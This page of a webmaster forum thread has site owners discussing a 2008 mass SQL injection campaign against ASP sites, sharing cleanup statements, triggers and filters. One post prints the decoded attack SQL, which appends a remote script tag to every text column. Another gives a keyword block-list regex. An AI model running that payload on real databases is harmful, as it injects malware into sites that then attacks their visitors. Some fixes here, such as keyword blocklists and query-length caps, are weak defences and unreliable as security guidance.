For those who have the same issue as myself, here is what I did, if that can help anyone
First I used Narayana Vyas Kondreddi medhod posted above and then for remaining ntext data type I went through all the table with that kind field and did it one by one using the following statement,
set <tbField> = replace (cast(tbField as nvarchar(4000)), '<spamstr>', '')
Just got hit. To prevent further attacks I'm implementing some code in an include that checks the full querystring for the presence of sql commands such as "select", "update", etc... characters that should not be present... I'm using regular expressions but simple instr() functions would work also. The key is to do these checks before any sql commands are issues from your scripts, and if triggered to redirect the user to a simple 404 error page.
I have converted all SQLs to StoredProcedure. As of now, there is no SQL commands in my C# code behind ! Still the virus is infected in my database. ( NOTE: I have connection string stored in my WEB.Config ).
I would Suggest all of you to write a TRIGGER on UPDATE EVENT of the table, Check for presence of script tag in NEW VALUES and roll back
HOPE THIS WILL KEEP VIRUS AWAY FROM YOUR DATABASE !
CREATE TRIGGER [DBO].Trg_BusMaster
-- SET NOCOUNT ON added to prevent extra result sets from
-- interfering with SELECT statements.
SET NOCOUNT ON;
if exists (select * from inserted)
select @Bus=BusName from inserted
if @bus like '%<script%' or @bus like '%script>%'
-- Insert statements for trigger here
I've picked apart how the attach inserts it's data.
On a page that is seen to use querystrings, it adds the following to the end of whatever the valid params are (I've split the line for clarity).
This then runs the following SQL (I've mangled the script tag and URL).
DECLARE @T VARCHAR(255),@C VARCHAR(255)
CURSOR FOR SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u'
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+']
SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<scpt src=http://www.thesite.com/b.js></scpt>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
I've cured it very simply by putting the following code at the top of every page. It's part of the generic header include stuff that gets pulled into every page.
(In ASP, don't know what the syntax would be in other web languages).
if len(Request.Servervariables("Query_String")) > 40 then
response.write "Invalid page access"
40 - This is bigger than the querystring that any page on your website will post, adjust as necessary. Given that the injection is 1100 characters, the check could be a lot higher if needed.
Other options would be to redirect to a 404 page or other error, but redirects probably won't to honoured by the webbot so it's easiest to just stop the page dead.
My site was hit too. Really Nasty!
I got all that bad data out but I want to make sure this wont happen again.
My question is, in this code below, Can I add this to my global.asa file to ensure all asp pages are protected?
will this work reguardless of how the ASP page was constructed?
' this creates a global regexp object g_bl for testing strings against sql injection
dim g_bl, strURLRequest
set g_bl = New RegExp
g_bl.Pattern = "<IFRAME¦<FRAME¦<object¦</object¦'¦xp_¦;¦--¦/\*¦<script¦</script¦ntext¦nchar¦varchar¦nvarchar¦alter¦begin¦create¦cursor¦declare¦delete¦drop¦exec¦execute¦fetch¦insert¦kill¦open¦sys¦sysobjects¦syscolumns¦table¦update"
g_bl.IgnoreCase = true
g_bl.Multiline = true
If Request.ServerVariables("QUERY_STRING") <> "" Then
If g_bl.test(strURLRequest) Then
I feel like im missing something here. I really just need this to protect my site and data?
[edited by: engine at 5:30 pm (utc) on Aug. 7, 2008]
[edit reason] sidescroll [/edit]
We're patched against this type of attack, but I've got some bot trying to get in for nearly 24 hours now...
and can see that number of affected (and indexed) sites is rising by the day. Ofcourse payload file can be named anything but I was curious about this particular "strain" of file. For those of you wanting to play along at home search for w dot js in parenthesis.
The attack on my site wound up going on for around 36 hours. Waste of bandwidth.
There must be a list of urls that "attackers" (script kiddies) are using. I am seeing hits only on une uri...Most of attacks are coming from cn domains, although I am observing some originating from u.s. IPs as well (looks like cable and dsl lines (compromised machines maybe?)).
Stats of where the Declared SQL attacks are initiating from by Country ISO, generated from hits on one of my sites for the current Month. It was interesting to see what the breakdown was.This was generated as I was trying to figure out what if any ranges were worth blocking altogether in general.
ISO Percent Hits
CN 37.54% 369
US 26.55% 261
TW 05.80% 57
HK 04.07% 40
KR 03.66% 36
CA 03.05% 30
BE 02.03% 20
IT 01.83% 18
AU 01.42% 14
VN 01.22% 12
MY 01.02% 10
MX 00.92% 9
CL 00.81% 8
NZ 00.81% 8
GB 00.71% 7
IL 00.61% 6
NL 00.61% 6
RU 00.61% 6
JP 00.51% 5
BG 00.41% 4
BS 00.41% 4
CO 00.41% 4
DE 00.41% 4
FR 00.41% 4
SG 00.41% 4
TH 00.41% 4
CS 00.31% 3
AR 00.20% 2
BR 00.20% 2
CH 00.20% 2
FI 00.20% 2
HU 00.20% 2
ID 00.20% 2
MU 00.20% 2
NO 00.20% 2
PE 00.20% 2
PH 00.20% 2
PL 00.20% 2
PT 00.20% 2
RO 00.20% 2
TR 00.20% 2
VE 00.20% 2
I've been getting hit with this over the past few days.
A few of the hits caused a child process of httpd to segfault!
I was not compromised. Mod Security failed the attempts.
To be sure, I searched the database for "http" and "iframe" entires - 0.
The server was also checked by a server security specialist and they couldn't figure exactly why it segfaulted either. (Cannot replicate whatever the probes are doing, specifically)
I wouldn't have known this even happened if I hadn't been digging through /var/log/messages (no downtime or interruptions what-so-ever associated with the segfaults)
(Server: Linux/Apache, MySQL and PHP are both up to date.. with grsec kernel)
Anyone else experiencing this? Does anyone know why it's causing the killing of a child process?
They are now attacking my pages that are static but end in .asp
You would think that after several weeks they would move on. Has anyone identified anything that would make them finally realize that the site was protected? A response code, 404 etc...? Maybe redirect them to the IP that's being used?
lol they're doing the same thing with my site, hitting well over 100 times a day, not stopping for anyhting, and yes, hitting static pages that end in .asp
Can we send them to a page delay that lasts a few minutes to annoy them a little?
I m also having the similar problem with my website in ASP. My whole Database is infected with the content ''><script src=".../new.htm"> .... </script> all my data is corrupted . Its just an Sql Injection but i cant found the solution how it happens? Pls help me to solve this pls
This seems to be an old topic, and related to ASP (which I'm not familiar with), but how about encoding HTML char's before insertion into the database. So if someone enters
<script blah ""></script>
Before inserting the input into database, clean up and convert it to
<script blah ""></script>
Unless I'm missing something, after this the script won't get executed...
PHP has built in functions for this (htmlspceialchars() or similar).. donno about ASP
| This 78 message thread spans 3 pages: < < 78 ( 1 2  ) |